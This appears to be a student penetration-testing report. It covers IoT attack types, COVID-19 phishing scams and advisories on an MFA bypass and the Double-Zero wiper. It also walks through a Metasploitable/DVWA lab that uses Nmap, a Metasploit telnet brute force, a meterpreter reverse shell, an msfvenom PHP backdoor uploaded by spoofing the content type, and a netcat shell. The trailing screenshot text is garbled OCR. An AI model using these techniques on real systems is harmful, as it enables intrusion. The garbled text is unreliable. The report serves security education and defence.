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[bookmark: _Toc155136060]Abstract

Internet of Things (IoT) technologies are widely used by most businesses and affect every aspect of the world. However, the nature of the Internet, its communication channels, embedded OS, and background resources make IoT devices vulnerable to cyber-attacks. Attacks against different Internet-of-Things systems, networks, servers, devices, and apps have increased dramatically in recent years. It is particularly uses of given that there have been 35.9 billion IoT devices since 2021—a figure that might rise to 72.49billion by 2025. Using old methods implementation of conventional security protocols may not provide consistent performance, especially for resource-constrained IoT devices. Therefore, it is necessary to conduct penetration tests that are specifically tailored for IoT systems. The focus of this research is to explain and analyze both technical and non-technical aspects of security vulnerabilities within IoT systems via hacking methods with consent and tools. This would give practical security solutions that can be taken based on the assessed risks.

      
 
        









[bookmark: _Toc155136061]1. Introduction

Cyber-attacks have grown more sophisticated in the quickly changing digital realm, exposing serious hazards to individuals, governments, and organizations. These threats, which include a number of attack types like ransomware, phishing, malware, and more, aim to compromise sensitive data, interfere with operations, or get unauthorized access by taking advantage of holes in systems. Therefore, now more than ever, the need for strong cybersecurity measures. Penetration testing is a crucial component in making sure digital infrastructures are secure. Penetration testing, additionally known as ethical hacking, is a methodical procedure for examining and evaluating an application's, network's, and system's safety measures.[1] It entails experts replicating cyberattacks in order to find openings and flaws that attackers may take advantage of.
This proactive strategy provides organizations with significant insights into their security strengths and vulnerabilities, allowing them to strengthen defences, prioritize security upgrades, and establish effective incident response methods.[2] Penetration testing is an important component of a comprehensive cybersecurity strategy because it provides a proactive and preventative measure against possible attacks by discovering and resolving vulnerabilities before they can be exploited.
Organisations can enhance their defences, improve their resilience against emerging cyber assaults, and protect their digital assets and sensitive information by determining the landscape of cyber threats and using broad penetration testing procedures. This research aims to explore the significance, methodologies, and implications of penetration testing as a critical element in the ongoing battle against cyber threats.[3]
Before we begin, it is crucial to come up with clear definitions for two key concepts: "ethical hacking" and "penetration testing." This clarification tries to differentiate between the two concepts in order to avoid any potential confusion.[4] Ethical hacking is more adaptable in imitating (cyber-physical) attack tactics and approaches (such as phishing, brute force, social engineering, and so on), allowing for a more complete examination. Ethical hackers provide ideas for best-practice security solutions to fill security weaknesses. Penetration testing typically focuses on system flaws, enabling tailored tests to be performed on a single IoT component (i.e., mobile, device, desktop, iPad, and so on). Despite its restricted testing range, pen testing is more accurate in finding and revealing problems before they are solved.
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CoAP - Constrained Application Protocol
DoS - Denial-of-Service
DDoS - Distributed Denial-of-Service
IoT - Internet-of-Things
MAC - Media Access Control
PC - Personal Computer
SSID - Service Set Identifier
UDP - User Datagram Protocol
WPA - Wi-Fi Protected Access
RLTO - right-to-left override character 
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Cyber-attack architecture eventually changes based on the type of attack, and the attacker's motivations, knowledge, experience, and abilities. Furthermore, the assault structure is determined by the resources accessible to the hackers. As a consequence, the structure of a cyber-attack is divided and presented as follows: targeted, coordinated, ordered, disseminated, and exact. Which is shown in Figure 1.
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[bookmark: _Toc155136147]Figure 1: Cyber-attack Structure


This allowed us to find attackers techniques and methods. The categorization of cyber-crime by the UK’s Crown Prosecution Service (CPS) stands as a benchmark within the field. This description fundamentally covers cyber security, serving as a foundational model that has influenced numerous international definitions and perceptions of cyber-crime. The CPS guidelines explain cyber-crime into two comprehensive categories: cyber-dependent and cyber-enabled crimes. A cyber-dependent crime can be committed by use of computer, computer networks or form of information communications technology. Cyber-enabled crimes are, “traditional crimes, which can be increased in their scale or reach by use of computers, computer networks or other forms of information communications technology (ICT)”.[5]  It is explained by Figure 2.
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[bookmark: _Toc155136148]Figure 2: Cyber-crime Classification (CPC)

In fact, cyber-attacks on IoT are not stick to a single device or categorization since they target a wide range of IoT systems across several IoT domains. In reality, there are uncountable categories and attacks. In this research I mentioned some commonly used cyberattack methods below.[6]

1. Malware Attacks: Malicious Program or Applications, known as malware, it contains different types of files such as viruses, worms, Trojans, and ransomware. These programs intention to infiltrate systems, compromise data, or gain details for money by encrypting files.

2. [bookmark: _Ref154090261]Phishing Attacks: Phishing involves fake attempts, commonly via misleading emails or websites and SMS, to get individuals into telling sensitive information like passwords, financial details, or personal data.

3. Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS) Attacks: DoS attacks overcome a system's resources, version it unapproachable to genuine users. DDoS attacks involve multiple sources flooding a target simultaneously, causing severe disruptions.

4. Man-in-the-Middle Attacks: In This Attack an illegal entity intercepts communication between two Connection point, allowing the attacker to eavesdrop, manipulate data both ends without their knowledge.


5. SQL Injection Attacks: Attackers exploit Loopholes in web applications by inputting malicious SQL code into code script, allowing them to access or manipulate a database.


6. Ransomware Attacks: These attacks involve encrypting a victim's data, and demanding a ransom for decryption keys. If unpaid, the attackers threaten to delete or publish the data.

7. Zero-Day Exploits: Zero-day vulnerabilities are unpatched weaknesses in software unknown to the developer. Misusing these vulnerabilities can provide attackers with an advantage.

8. Social Engineering Attacks: These attacks exploit human psychology to manipulate individuals into exposing sensitive information or performing actions that compromise security, often through deception or pressure. 

However, describe those attacks and analysis of real word scenario. First of all, taking about COVID-19-related cyber-attack. The following discussion shows that, as projected and indicated above, there was a loose association between policy/news releases and corresponding cyber-crime efforts in U.K.   
                   
[bookmark: _Toc155136066]2.1 COVID-19 Related Cyber Attacks In U.K (Swansea)

During Pandemic created common interruption, forcing individuals to adjust their regular routines to a new reality that includes working from home, limiting social connections, and increasing physical exercise. These events can beat many people, causing tension and worry, which increases the likelihood of being a victim of an attack. 
The UK government made a number of significant economic announcements on March, 2020. This includes a £5 billion emergency relief fund to boost the NHS and other England public services.[7] Attackers used news and announcement dates based on events. a connection between events and cyber-security campaigns are provided in Table-1 below. These examples demonstrate that it has connection between events and cyber-attacks.
Many of the situations described in Table 1 and Figure 3 were straightforward. URLs were sent to potential victims by email, SMS, or WhatsApp. Figure shows one example of this. In this situation, the URL directed to a bogus institutional website that requested credit/debit card information. Although some aspects of this process are obvious to a more experienced computer user, such as spelling errors (relieve instead of relief in the COVID-19 relief scam), suspect reply email addresses, and clearly incorrect URLs, many users are unaware of them.[8] 
cyber-attacks categorised using the CPS taxonomy described and abbreviated as: P: phishing (or smishing), M: malware. Ph: pharming, E: extortion, H: hacking, D: denial of service and F: financial fraud.[5] Table 1 and Figure 3 below Shows how attacks have been happened. 

		Event date
	
	Event
	
	Incident date & Attack type
	Incident

	21-02-20
	
	Doctors warn GPs are running out of PPE;
	
	17-04-20 
p,ph,f
	Fake PPE offers through email. Link to URLs which 
capture credit card and other details

	09-03-20
	
	Hospitals running out of PPE
	
	27-05-20 
p,ph,f
	

	11-03-20
	
	Government announces a range of financial assistance packages in the budget
	
	20-03-20
 p,ph,f
	Smishing campaign promising a COVID-19 financial 
relief payment. Respondents are directed to a fake 
gov.uk website which requests credit/debit card details

	19-03-20
	
	Government announces a scheme which entitles children who qualify for a free school meal to a food voucher or alternatives if they are not able to continue attending school.
	
	24-03-20 
p,ph,f
	A smishing campaign which targeted parents with 
a promise of help with their free school meals in return 
for banking details. Banking details are defrauded

	23-03-20
	
	Lockdown announced. £60 contravention fine, later (10-05-20) increased to £100
	
	27-03-20 
p,e
	Lockdown contravention SMS

	24-03-20
	
	COVID-19 hardship fund enables councils to reduce council tax bills by £150 for residents of working age and who have had their bill reduced by an award of council tax reduction
	
	15-05-20 
p,ph,f
	Council tax rebate scam

	25-03-20
	
	Government announce intention to make home testing kits available
	
	31-03-20 
p,f, 
17-04-20 
p,f, 
27-05-20 
p,f
	Phishing campaigns in England and Scotland direct 
victims to fake websites which claim to sell PPE 
equipment

	17-04-20
	
	Government announces job retention scheme
	
	19-04-20 
p,f
	Fake job retention scheme phishing campaign.

	
	
	
	
	





[bookmark: _Toc154343662]Table 1: Grants and Relief Scams
      

One of the examples of relief scam which is shown in below figure 3 to understand, how attackers did criminal activities and cheat peoples.    

[image: ]
[bookmark: _Toc155136149]Figure 3: Relief Scam 
Attacker used phishing link to compromise user’s device and their personal details. 

[bookmark: _Toc155136067]2.2 Multi-Factor Authentication (MFA) Protocols vulnerability Attack

Russian cyber actors, who are sponsored by the state, have effectively entered the network of a non-governmental organisation (NGO), according to a report that was released by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) of the United States of America. They were able to achieve this by taking advantage of the default Multi-Factor Authentication (MFA) protocols as well as the "PrintNightmare" vulnerability (CVE-2021-34527).[9] As a result of the attack, data was taken from the cloud and email accounts of the organisation that was the target of the attack without authorization.[10]
"PrintNightmare" was a severe security bug that affected the Microsoft Windows Print Spooler. It was a vulnerability that compromised the system. On July 6, 2021, Microsoft published out a warning about a bug that was caused by out-of-bound interactions.
State-sponsored Russian cyber attackers obtained initial entry into the targeted organisation by exploiting hacked login credentials and registering a new device in the organization's Duo Multi-Factor Authentication (MFA) system. The actors obtained the credentials by a method of systematically guessing passwords, known as a brute-force attack, which granted them entry into a victim's account that was protected by a simple and easily predictable password. The victim's account was disassociated from Duo as a result of long-term inactivity, but it was not deactivated in the Active Directory. Due to Duo's default configuration settings permitting the re-enrolment of a new device for inactive accounts, the criminals managed to enrol a new device for this account, fulfil the authentication criteria, and gain entry to the target network.[11]
Used of login credential attackers obtain administration access. The actors made alterations to a domain controller file, which is the c:\windows\system32\drivers\etc\hosts file, in order to divert Duo MFA calls from the Duo server to the localhost. This modification impacted the MFA service's ability to connect with its server for the purpose of verifying MFA login. As a result, MFA was effectively deactivated for active domain accounts, as Duo for Windows follows a default policy of "Fail open" when the MFA server cannot be reached. 
Russian state-sponsored hackers successfully established Remote Desktop Protocol (RDP) connections to Windows domain controllers via the victim's virtual private network (VPN) as non-administrator users subsequent to successfully disabling MFA. The actors executed commands to acquire credentials for additional domain accounts. They then modified the MFA configuration file for these newly compromised accounts using the method described in the previous paragraph. The attackers exploited primarily internal Windows services that were previously available within the victim network to perform this operation.
Attacker used processes and execution on the system:
· ping.exe: Attacker used this command to gain network access and checking connectivity to a remote host.
· regedit.exe: Windows built in registry editor access by this command.
· rar.exe: It is use for data compression, encryption, and archiving functions. typically attempted to undermine the security procedures of multi-factor authentication (MFA) in order to gain unauthorised access to accounts or valuable information.
· ndtsutil.exe: By using this command-line tool gain access of administrative rights for Active Directory Domain Services. This utility may have been utilised to enumerate Active Directory user accounts. 
· Attacker used below Web and IP:
· 127.0.0.1 api-<redacted>.duosecurity.com 
· 45.32.137[.]94
· 191.96.121[.]162
· 173.239.198[.]46
· 157.230.81[.]39 


[bookmark: _Toc155136068]2.3 “Double-zero” Malware used in Russia-Ukraine War  

It is significant because “Double-Zero” is the latest wiper malware used in the Russia-Ukraine war and aims to destroy machineries belonging to enterprises in Ukraine.[12] the malware was distributed in a zip archive and destroys the compromised machine by overwriting files and deleting registry keys.[13]
The government of Ukraine computer emergency response team found out the RAR format file "Saboteurs.rar", which contains the RAR archive "Saboteurs 21.03.rar", to cover the format, the file name contains a right-to-left override (RTLO) character.
The specified archive includes deceptive files and photos, along with the VBScript code (Thumbs.db) responsible for generating and executing the .NET application "dhdhk0k34.com". Consequently, the PC will be impacted by the Cobalt Strike Beacon malware. the generation of the injector file "inject.exe" is March 2022. Investigating VBScript code detected malware. 
The below images figure 4 and 5 released by Ukraine government computer response team. Which describe attackers file script code. Script used below host directory.[14]

Hosts
C:\Users\Public\dhdhk0k34.com
C:\Users\Public\Skype.exe

[image: ]
[bookmark: _Toc155136150]Figure 4: Script Code
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[bookmark: _Toc155136151]Figure 5: RAR file and Malware Script

Mitigation Strategy: 
1. Prior to implementation, organisations should conduct a thorough examination of their configuration policies in order to safeguard against potential "fail open" and re-enrolment scenarios.
2. Implement time-out and lock-out features in response to frequent failed login attempts.
3. Ensure inactive accounts are disabled regularly across the Active Directory, MFA systems and system update regularly.[15]
4. Do not assume everyone is honest. Requests can be ignored. Only frauds will try to make you feel urgent or anxious. If unsure, consult family and friends before accepting aid.
5. Safeguard your financial data, particularly from those you do not know. Do not disclose your PIN or bank card to somebody you do not know.
6. Update IT network assets' operating systems, applications, and firmware regularly. Fix actively exploited vulnerabilities, especially critical or severe ones that allow remote code execution or denial-of-service attacks on internet-accessible equipment.[16]
7. Remain attentive for any signs of suspicious activities and unauthorised logins in the network logs.
8. Establish security alerting protocols for any modifications made to security-enabled accounts, and send alerts for any suspicious instances of process creation (such as ntdsutil, rar, regedit, etc.).
 
[bookmark: _Toc155136069]3. Contingency Policy
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CURETON PHARMACEUTICAL COMPANY (CPC)

  
PENETRATION TESTING POLICY

Overview
Purpose: 
The purpose of this policy is to set forth principles and processes to reduce the risks involved in using the Metasploit Framework by the Red Team Engineers during penetration testing at CPC. 
Scope:
Relevant for all individuals participating in penetration testing attempts utilising the Metasploit Framework within the CPC network architecture. Any penetration testing performed on CPC's equipment, which is either owned or under its control, must adhere to all applicable national and regional laws that regulate the physical location of the asset and the characteristics of the data.
Penetration Testing Engagement Types:
CPC System penetration testing program will include the categories of testing activities described below.
· Network Testing: The purpose of network penetration testing is to detect potential vulnerabilities and security weaknesses in the CPC network architecture, which covers computers, switches, routers, printers, workstations, security appliances, peripherals, and any software applications, services, or APIs within the CPC network environment. In addition, network penetration testing may involve both authenticated and non-credentialed testing to enhance security against potential attacks originating from vulnerable internal network positions.[17]
· Web Application Testing: The purpose of penetration testing for websites is to detect and analyse any vulnerabilities, security weaknesses, or potential dangers in websites controlled by CPC. Activities can use various malicious attacks on the application, encompassing both manual and automated penetration testing. The primary objectives of web-application penetration testing should involve the identification and assessment of all vulnerabilities outlined in the OWASP Top Ten web-application vulnerabilities.[18]
Duties and obligations:
· The Red Team Engineer takes responsibility for following established protocols, promptly reporting any observed incidents, and ensuring strict adherence to ethical norms.
· System Administrators are tasked with the ongoing surveillance of simulated attacks, providing assistance to the Red Team, and implementing reaction protocols if needed.
· The Incident Response Team is responsible for promptly addressing any security incidents or disruptions identified during the penetration test.
Risk Analysis and Mitigation: The process of identifying potential hazards, such as service outages, database corruption, or unintentional disclosure of private information, during the attacks. Prevention techniques involve the implementation of supervised testing conditions, frequent backups, and strict controls over the scope of performing attacks.
Incident Response Plan:
The subsequent actions take place during the recovery process of CPC System:
1. Location for the recovery of the CPC server room. 
2. Utilise backup storage for executing recovery processes.
3. Obtain the backup and system installation media.
4. Restore the hardware and operating system (if necessary); and 5. Restore the system using the backup and system installation media.

Plan Approval 

The CEO is liable for the comprehensive management of the CPC penetration testing operation. This involves establishing overarching objectives and criteria, as well as allowing agreements that provide explicit consent for each vulnerability assessment project and delineate the anticipated outcomes and constraints of each project. The CEO will establish specific objective targets for the penetration testing project, which must comply with all relevant standards and requirements.




CEO Sign:
Date:















[bookmark: _Toc155136070]4. Lab Topology of CPC System Infrastructure 
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[bookmark: _Toc155136152]Figure 6: CPC Network Topology

[bookmark: _Toc155136071]5. Penetration Testing 

Beginning of penetration testing first of all we need to know about system. which types of services and what kind of software uses by organization. We have to backup system data in safe place, because during penetration due to compromising devices using different kind of attacks if any device corrupted it will help to prevent data lose. As part of topology below figure 7 shows that our lab setup of CPC company. We are Using attacker machine as a Kali Linux machine.

[image: ]
[bookmark: _Toc155136153]Figure 7: CPC Lab Simulation

By using Nmap Open-Source Tool [19]we will discover about network information. Starting a Nmap network check involves looking through the network's assets and settings in a planned way to find devices, services, and possible security weaknesses.
· The initial stage in the Launching Discovery Phase activity is to commence the investigation to identify active hosts and accessible ports.
· Starting the Examine with Nmap: Starting the careful investigation of network devices and the configurations of those devices.

Nmap command: nmap <network ip>
[image: ]
[bookmark: _Toc155136154]Figure 8: Nmap Scan
As per scanning, we got output IP address list information and host info which are connected within same network. Above image describe that uses of Nmap discover that how many host is active.
 nmap -O 192.168.56.100/24 
using nmap above command we found out operating system details. To perform any kind of attacks its necessary to get details of OS and application or software version details. So next we will try to find out open ports on the machines and which services running on ports. also, we will gather services version.  

 nmap -sV 192.168.56.105
network scanning tool discover so many services and open ports as you can see in below figure target machine. Based on information try to enumerate system access. 


[image: ]
[bookmark: _Toc155136155]Figure 9: Nmap Scan Services Versions

[bookmark: _Toc155136072]5.1 Compromising Service Telnet Port/23 

Network information conducted using Nmap tool. Discovered that many ports and services are open in Metasploitable 2 machine. Now try to compromise security patches and get access.
 nmap -p <port number> --script vuln <Target Machine>
[image: ]
[bookmark: _Toc155136156]Figure 10: Port scanning with Nmap
Furthermore, the attack is initiated using the Metasploit Framework. It contains lots of exploit modules. Using one of the Metasploit payloads, try to gain access to the system. Next, find the exploit module telnet service as it was gathered from network scanning.
Figure 11: Choose Exploit module[image: ]
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[bookmark: _Ref155060378][bookmark: _Toc155136157]Figure 11: Choose Exploit module
[image: ]We are able to obtain user credentials by using an auxiliary telnet login module. Initiate this step. We have to give a username list and password list. This list contains some default passwords and user names people use in their day-to-day routine.
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[bookmark: _Toc155136158]Figure 12: Set Payload

Metasploit framework using few of details by default but as you can see in figure 12. we need to set listening host (LHOST) which is our system IP address and remote host (RHOST) which is target machine. After giving show options command we need to verify details of all required fields. Finally input Run.
[image: ]
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[bookmark: _Toc155136159]Figure 13: Login Details Output

As you can see in figure 13. It’s given us username and password details. Now we using these login credential and get access of the device. For that need to use telnet command with victim ip and service port means 23. You can see in below figure 14.
[image: ]

[image: ]
[bookmark: _Toc155136160]Figure 14: Login Successful using telnet 
We found vulnerabilities in this device. As we can access of metasploitable2 machine as you can see in the figure.
[bookmark: _Toc155136073]5.2 Port 80/Tcp HTTP Service Altering

TCP Protocol is used by HTTP services, which are operating on port 80. referring to figure 9 above. Using the Nmap Command below, we can determine the server and its version based on the open port data that we receive. Figure 15 show the output.
    nmap -sV 192.168.56.105 -p 80
[image: ]
[bookmark: _Toc155136161]Figure 15: Port scanning HTTP Service 
Exploiting http services, we need to find http version. In the Metasploit framework, it contains version details of different operating systems as well as exploit module details. Searching the http version showing in figure 16.
[image: ]
[bookmark: _Toc155136162]Figure 16: Search HTTP Version 

The msfconsole contains the HTTP version of the auxiliary scanner. We can now identify the victim machine's http service version by utilising this module. To do that, we must set the remote host requirements, which are detailed in figure 17.
[image: ]
[bookmark: _Toc155136163]Figure 17: Finding http version module
[image: ]
Using this module found version of Ubuntu and Apache 2.2.8
As a result, we must now search another module for information, such as the http directory information, and use that information to enumerate the target machine. It is basically sending request to web page and try to find directory list which was used by developer. You can see in the figure 18.
[image: ]
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[bookmark: _Toc155136164]Figure 18: Scanning Directory List  

The directory list indicates that the PHP injection module allows access to cgi, myphp, icons, and other lists. It is also vital to look for a PHP injection module for http. 

[image: ]

PHP injection use default payload meterpreter session using reverse_tcp. For using this module, we need to set LHOST and RHOST as mentioned in previous attack.
[image: ]
[bookmark: _Toc155136165]Figure 19: PHP Injection Module
    
As you can see in above figure module set LHOST parameter is default like port for listening host is 4444. Now giving all parameter we can run this module using Exploit.
[image: ]
[bookmark: _Toc155136166]Figure 20: Port 80 Exploitation Output 
Exploiting system, as we discussed meterpreter session is opened and its give us directly system permission without any authentication. Which is shown in figure 20.

[bookmark: _Toc155136074]5.3 System Access using Backdoor

Network scanning activity shows our network vulnerabilities, but part of the system web server is also vulnerable. In our penetration session, try to gain access through the web server using the backdoor method.

[image: ]
[bookmark: _Toc155136167]Figure 21 Msfvenom Payloads

The backdoor method basically consists of some filtered code. Which may enumerate the system and decline to run the original script code. In the system, we are using the DVWA web server. With the use of different payloads, we can create an enumeration code. As you can see in figure 21, the use of the msfvenom tool, which is part of the Metasploit framework, allows you to make payloads.
The primary purpose of the adaptable Metasploit framework utility msfvenom is to generate payloads. It allows the creation of payloads including meterpreter payloads, bind shells, reverse shells, and more. Remote access or control over a breached system becomes possible by these payloads.

[image: ]
[bookmark: _Toc155136168]Figure 22: Backdoor Payload Created 

We need to upload the created payload file to the web server. Before doing that, we may need to find a loophole in the website script. The figures below illustrate the following steps: We need to inspect the script code to see what criteria there are, like file size and file type. After observation, we found that we can enumerate or edit scripts using the Burp Suite tool. With the help of the Burp Suit tool, we can filter HTTP requests and enumerate the system.

[image: ]
[bookmark: _Toc155136169]Figure 23: Backdoor PHP File

[image: ]
[bookmark: _Toc155136170]Figure 24: Web Source Code
Burp Suite is a complete set of tools that are often used to test the security of web applications. The intercepting proxy is one of its main features. It enables users change HTTP/S data going from a web browser to the target application.
[image: ]
[bookmark: _Toc155136171]Figure 25: Burp Suit Intercept 
[image: ]
[bookmark: _Toc155136172]Figure 26: Proxy Shows HTTP Request

HTTP request shown in Burp Suit browser. As we can see its scan that file content or file type is application. Here we do some modification like we changed file content type from application to jpeg. But originally, we are uploading application file.
[image: ]
[bookmark: _Toc155136173]Figure 27: Change File Content Type

In the Burp Suit Browser using forward selection. It will release request and sent it on address.

[image: ]
[bookmark: _Toc155136174]Figure 28: Backdoor File Upload Successfully 
Now, file should be executed on the server. Editing URL based on basic structure of the web request you can see in the below figure successfully run on the server.
[image: ]
[bookmark: _Toc155136175]Figure 29: PHP File Execution on Web
[image: ]
[bookmark: _Toc155136176]Figure 30: Server Access using Netcat

Netcat command can establish a basic command line shell (reverse or bind shell) on target system. Using of Netcat we established connection to the server without any prior notice of system admin.

[bookmark: _Toc155136075]5.4 Vulnerabilities      

Penetration project found there are many loopholes in the system. Based on performing attacks on network most vulnerable part is system security patches not updated and default passwords.[20] Preventing system, we need to install firewall and block the unwanted traffic to the system. List of vulnerabilities: 
1) Port 23 Telnet Service
2) Port 80 HTTP Service
3) Server Access Using Backdoor

[bookmark: _Toc155136076]6. Mitigation Strategy for System Loopholes

· Telnet Service (Port 23):
Vulnerability: Telnet sends data, including passwords, in plain text, making it susceptible to interception and eavesdropping.
Solution: Disable the Telnet service and use Secure Shell (SSH) instead, which encrypts communication. Ensure remote access does not utilize Telnet. Additionally, consider using firewall rules to block incoming Telnet traffic.[21]
Firewall Configuration: Implementing strict rules to block incoming traffic and outgoing telnet traffic. 
· HTTP service is running on port 80.
Vulnerability: The HTTP service is exposed to potential attacks, including SQL injection, cross-site scripting (XSS), or server misconfigurations, which can be exploited by attackers to take advantage of weaknesses in web applications.
solution: Consistent Application of Updates: Ensure that web servers and web apps are regularly updated with the most recent security updates in order to resolve identified vulnerabilities.
Best Practices for Writing Secure Code: Employ robust coding methodologies, such as input validation, output encoding, and effective error handling, to minimise the risk of prevalent online vulnerabilities.[22]
HTTPS Implementation: Apply HTTPS (Port 443) to encode data exchanged between the web server and clients, guaranteeing a secure and confidential communication.
· Unauthorised access to the server through a hidden entry point:
Vulnerability: Backdoors facilitate unauthorised access to systems, enabling attackers to circumvent standard authentication procedures and gain entrance into the system.[23]
Solution:
Comprehensive Examination: Perform a comprehensive examination of the system to detect and eliminate any present vulnerabilities that could be exploited for unauthorised access.[24]
Improved authentication and access controls: Incorporate resilient authentication methods, such as highly secure passwords and two-factor authentication (2FA). Implement stringent access controls to restrict unauthorised access.[25]
Furthermore, it is advisable to incorporate network device configurations and system-level modifications as additional measures to mitigate these vulnerabilities.
· Devices' Network Configuration:
Through the implementation of firewall configurations, it is possible to efficiently limit access to essential services and ports that are unnecessary for business operations.
To monitor network traffic and detect possible malicious activity, use intrusion prevention and detection systems (IPS/IDS),[24]which will trigger automated replies or notifications.
Implementing VLAN-based network segmentation can effectively segregate potentially vulnerable areas from vital systems, which minimises the impact of a security breach.
· Modifications to the system configuration:
Ensure that all software and services on the system are consistently updated and patched to address identified security vulnerabilities.
Implement logging and monitoring mechanisms to monitor system activities, detect anomalous behaviour, and promptly address security vulnerabilities.
In order to prevent unauthorised access, establish and uphold robust authentication protocols, implement regular password changes, and enforce strict access controls.[26]
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[bookmark: _Toc155136078]8. Implementation Timetable

	Task Name
	Time Duration in Minutes 
	Start Date
	Finish Date
	Duration (Days)

	Planning 
	35
	08-01-24
	08-01-2024
	0

	Service affected Time Duration (5 Hours)
	0
	08-01-24
	09-01-2024
	1

	Installation 
	150
	09-01-24
	09-01-2024
	0

	Testing
	50
	09-01-24
	09-01-2024
	0

	System Restore
	40
	09-01-24
	09-01-2024
	0

	Service start 
	25
	09-01-24
	09-01-2024
	0
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35 auxiliary/scanner/Eelnet/elnet_version normal
[ElHEE Service Banner Detection

36 auxiliary/scanner/Eigt/ elnet_encrypt_overflow normal
[EIREE Service Encryption Key ID Overflow Detection

37 payload/cmd/unix/bind_busybox_EETHEEd normal
Unix Command Shell, Bind TCP (via BusyBox EEUAEEd)

38 payload/cmd/unix/reverse normal
Unix Command Shell, Double Reverse TP ([EEUfEE)

39 payload/cmd/unix/reverse_ss1_double_ gelet normal
Unix Command Shell, Double Reverse TCP SSL (felne)

40 payload/cmd/unix/reverse_bash_EEINEE ssU normal
Unix Command Shell, Reverse TCP SsL (felmet)

41 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05
Vy0S restricted-shell Escape and Privilege Escalation

42 post/windows/gather/credentials/mremote
Windows Gather mRemote Saved Password Extraction

sfadninenetasploitable:™$ ping 192.168.56.102

pING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
from 192.168.56.102: icmp_seq=1 tt1=64 time=9.17 ms
from 192.168.56.102: icmp_seq=2 tt1=64 time=0.496 ms
from 192.168.56.102: icmp_seq=3 tt1=64 time=0.391 ms

4 bytes from 192.168.56.102: icnp_seq=4 tt1=64 tine=0.381 ms

-- 192.168.56.102 ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
frtt min/avg/max/ndev = 0.381,2.611,9.178/3.791 ns

Interact with a module by name or index. For example info 42, use 42 or use post/windows/gathe
remote

> use 34
auxiliary( ) > show options

inux-2023.3 virtualbox-amd64 Module options (auxiliary/scanner/telnet/telnet login):

=) Running USB Controlle Nane Current Setting Required Description

Device Filters: BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current databas
; e
WindowsServer19 DB_ALL_PASS false no Add all passwords in the current database to the list
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root@kali: omeflali

File Actions Edit View Help
VERBOSE true Whether to print output for all attempts

collisions:0 txqueuelen:1000
RX bytes:1682 (1.6 KB) TX bytes:3638 (3.5 KB)

Base address :0xd010 Memory: £ 0000000-10026000 View the full module info with the , or command

Link encap:Local Loopback Iy msf6 auxiliary(scanner/telnet/telnet Login) > set RHOST 192.168.56.105

i : .0. :255.0.0. M RHoST = 192.168.56.105
RSN P Sﬂ:;ﬁ_ﬁ§§t° 00 PSR 056 auxitiany( e ) 5 set USER_FILE /root/user List.txt

N ic: ISER_FILE = /root/user list.txt
TX packets 7 orrors:0 Qropped 10 overruns:0 frane:0 a7 LA ) o P S e

A . PASS_FILE = /root/pass list
TX packets:97 erwors 0 dropped :0 overruns:0 carrier:0 e T s s 1 Ve ST G

: . STOP_ON_SUCCESS = true
FX bytes:21523 (21.0 KB) 1X bytes:Z1523 (21.0 KB) msf6 auxiliary(scanner/telnet/telnet Login) > show options
sfadninenetasploitable:™$ ping 192.168.56.102
pING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
from 192.168.56.102: icmp_seq=1 tt1=64 time=9.17 ms
from 192.168.56.102: icmp_seq=2 tt1=64 time=0.496 ms
from 192.168.56.102: icmp_seq=3 tt1=64 time=0.391 ms
4 bytes from 192.168.56.102: icnp_seq=4 tt1=64 tine=0.381 ms

Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current dat
abase

DB_ALL_PASS. false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current databas
e (Accepted: none, user, userérealm)

PASSWORD. no A specific password to authenticate with

PASS_FILE /root/pass List no File containing passwords, one per line

RHOSTS 192.168.56.105 The target host(s), see https://docs.metasploit.con/doc
s/using-metasploit/basics/using-metasploit.html

RPORT 23 The target port (TCP)

STOP_ON_SUCCESS  true Stop guessing when a credential works for a host

: THREADS 1 The number of concurrent threads (max one per host)

inux-2023.3-virtualbox-amd64 USERNAME A specific username to authenticate as
,:\> Running USB Controller USERPASS_FILE File containing users and passwords separated by space,
A — one pair per line
Device Filters: USER_AS_PASS false Try the username as the password for all users
USER_FILE /root/user list.txt File containing usernames, one per line
VERBOSE true Whether to print output for all attempts

-- 192.168.56.102 ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
frtt min/avg/max/ndev = 0.381,2.611,9.178/3.791 ns

WindowsServer19
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i@ kali-linu

Machine Viey
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root@lali: home/kali
File Actions Edit View Help

wsf6 auxiliary(scanner/telnet/telnet_login) > run

collisions:0 txqueuelen:1000
RX bytes:1682 (1.6 KB) TX bytes:3638 (3.5 KB)
Base address:0xd010 Memory:f0000000-f0020000

192.168.56.105: - No active DB — Credential data will not be saved

192.168.56. 192.168.56.105:23 - LOGIN FAILED: admin:adminl (Incorrect

192.168.56. 192.168.56. - LOGIN FAILED: admin:admin123 (Incorrect
i . Iy: 192.168.56. 192.168.56. - LOGIN FAILED: admin:1234 (Incorrect: )

Lk e Ll Rk 5.0.0.0 ,ZO”E, 192.168.56. 192.168.56. - LOGIN FAILED: admin:user123 (Incorrec
inet6 adde: +i1/178 Scope.Host | as 192.168.56. 192.168.56. - LOGIN FAILED: admin:password (Incorrect

UP LOOPBACK RUNNING MT0:16436 Metric:1 S 192.168.56. 192.168.56. LOGIN FAILE :msfadmin (Incorrect

T pachete o trtons 10 drommed 0 cooruns 0 franc:0 192.168.56. 192.168.56. LOGIN FAILE 123456789 (Incorrect
X packets:97 errors:0 dropped:0 overruns:0 carrier:0 192.168.56. 192.168.56. LOGIN FAILEI adminl (Incorrect: )

- e G e

: . -168.56. -168.56. N ncorrec

RX bytes:21529 (21.0 KB) TX bytes:21529 (21.0 KB) 192.168.56. 192.168.56. LOGIN FATLE! user123 (Incorrect: )
192.168.56. 192.168.56. LOGIN FAILED: Kali:password (Incorrect
192.168.56. 192.168.56. LOGIN FAILE! msfadmin (Incorrec:
